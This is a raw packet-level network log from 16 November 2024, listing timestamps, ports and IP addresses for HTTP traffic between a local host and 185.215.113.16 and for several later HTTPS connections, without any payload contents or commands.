Nov 16, 2024 20:12:39.221235037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221268892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221281052 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221313000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221319914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221369028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221400976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221435070 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221445084 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221462965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221479893 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221496105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221545935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221591949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221595049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221630096 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221636057 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221662045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221694946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221729994 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221733093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221765995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221776962 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221798897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221831083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221864939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221874952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221899033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221908092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221930981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221963882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221992016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222023964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222028971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.222050905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.222058058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222091913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222124100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222137928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.222157001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222167969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.222189903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222214937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.222223043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222234964 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.222255945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222284079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222316980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222327948 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.222353935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222362041 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.222387075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222419977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222450972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222460985 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.222486973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.222493887 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.222513914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.223261118 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.223284960 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.236211061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.236253023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.236310005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.236320019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.236344099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.236378908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.236413002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.236427069 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.236457109 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.236941099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.236991882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.237027884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.237061024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.237072945 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.237097979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.237103939 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.244436979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.244522095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.244556904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.244594097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.244659901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.244745016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.244870901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.244900942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.244921923 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.244954109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245003939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245040894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245049953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.245074987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245085001 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.245109081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245140076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245172977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245182991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.245206118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245217085 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.245255947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245289087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245322943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245332956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.245356083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.245367050 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.288981915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289098024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289132118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289165020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289175034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.289197922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289220095 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.289232969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289243937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.289268017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289314032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289335966 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.289347887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289381981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289414883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289428949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.289448023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.289459944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.289484024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.291034937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.308825016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.308872938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.308909893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.308926105 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.343405008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.343455076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.343492031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.343524933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.343560934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.343595982 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.343595982 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.343651056 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:46.736437082 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:48.214183092 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:48.214221001 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:48.214525938 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:48.214886904 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:48.214915037 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:48.281569004 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:48.281652927 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:48.281739950 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:48.282061100 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:48.282095909 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:48.565319061 CET	49763	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:12:48.565382957 CET	443	49763	142.250.184.196	192.168.2.4
Nov 16, 2024 20:12:48.565469980 CET	49763	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:12:48.565674067 CET	49763	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:12:48.565689087 CET	443	49763	142.250.184.196	192.168.2.4
Nov 16, 2024 20:12:48.829298019 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:48.829384089 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:48.829627037 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:48.830558062 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:48.830598116 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:48.972455025 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:48.972898960 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:48.972910881 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:48.974678993 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:48.974739075 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:48.975671053 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:48.975764036 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:48.976077080 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:48.976083040 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.012260914 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.012620926 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.012653112 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.014348030 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.014416933 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.015353918 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.015444994 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.015517950 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.015532017 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.022927046 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.058237076 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.220968962 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.221008062 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.221015930 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.221066952 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.221075058 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.221091032 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.221097946 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.221121073 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.221143007 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.257342100 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.257373095 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.257416964 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.257442951 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.257457018 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.257472992 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.257492065 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.257497072 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.257514000 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.257541895 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.338027000 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.338067055 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.338094950 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.338107109 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.338130951 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.338150024 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.338193893 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.372857094 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.372909069 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.372991085 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.373007059 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.373033047 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.373058081 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.382787943 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.449109077 CET	443	49763	142.250.184.196	192.168.2.4
Nov 16, 2024 20:12:49.450022936 CET	49763	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:12:49.450042009 CET	443	49763	142.250.184.196	192.168.2.4
Nov 16, 2024 20:12:49.451709032 CET	443	49763	142.250.184.196	192.168.2.4
Nov 16, 2024 20:12:49.451775074 CET	49763	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:12:49.452902079 CET	49763	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:12:49.452997923 CET	443	49763	142.250.184.196	192.168.2.4
Nov 16, 2024 20:12:49.455158949 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.455188990 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.455236912 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.455246925 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.455262899 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.455274105 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.455302954 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.455307961 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.455384970 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.457789898 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.488215923 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.488286972 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.488346100 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.488357067 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.488389969 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.488401890 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.499078989 CET	49763	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:12:49.499103069 CET	443	49763	142.250.184.196	192.168.2.4
Nov 16, 2024 20:12:49.502017021 CET	49758	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.502047062 CET	443	49758	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.539233923 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.539280891 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.539340019 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.539561987 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:49.539580107 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:49.542115927 CET	49763	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:12:49.603435993 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.603475094 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.603537083 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.603569031 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.603589058 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.603615046 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.692467928 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:49.692542076 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:49.694319963 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:49.694334984 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:49.694842100 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:49.720741034 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.720803022 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.720838070 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.720871925 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.720894098 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.720911980 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.736443043 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:49.783334970 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:49.835813999 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.835845947 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.835882902 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.835911989 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.835931063 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.835961103 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.951426983 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.951488018 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.951586008 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.951586008 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.951617956 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:49.951711893 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:49.980129957 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:49.980295897 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:49.980328083 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:49.980382919 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:49.980402946 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:49.980402946 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:49.980412960 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:49.980422020 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:50.031012058 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:50.031054020 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:50.031344891 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:50.031974077 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:50.031991959 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:50.066348076 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.066392899 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.066515923 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.066515923 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.066579103 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.066634893 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.067487001 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.067509890 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.067580938 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.067595959 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.067723036 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.182574987 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.182602882 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.182641983 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.182702065 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.182743073 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.182769060 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.260875940 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.297730923 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.297794104 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.298152924 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.298214912 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.298419952 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.305469036 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.311593056 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.311605930 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.312753916 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.312829971 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.313247919 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.313318014 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.313755989 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.313765049 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.353883982 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.412816048 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.412854910 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.412971020 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.412971973 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.413037062 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.413357019 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.413441896 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.413455963 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.413512945 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.561616898 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.561647892 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.561656952 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.561713934 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.561731100 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.561758995 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.561786890 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.561814070 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.561831951 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.561831951 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.561831951 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.561857939 CET	49768	443	192.168.2.4	13.107.246.45
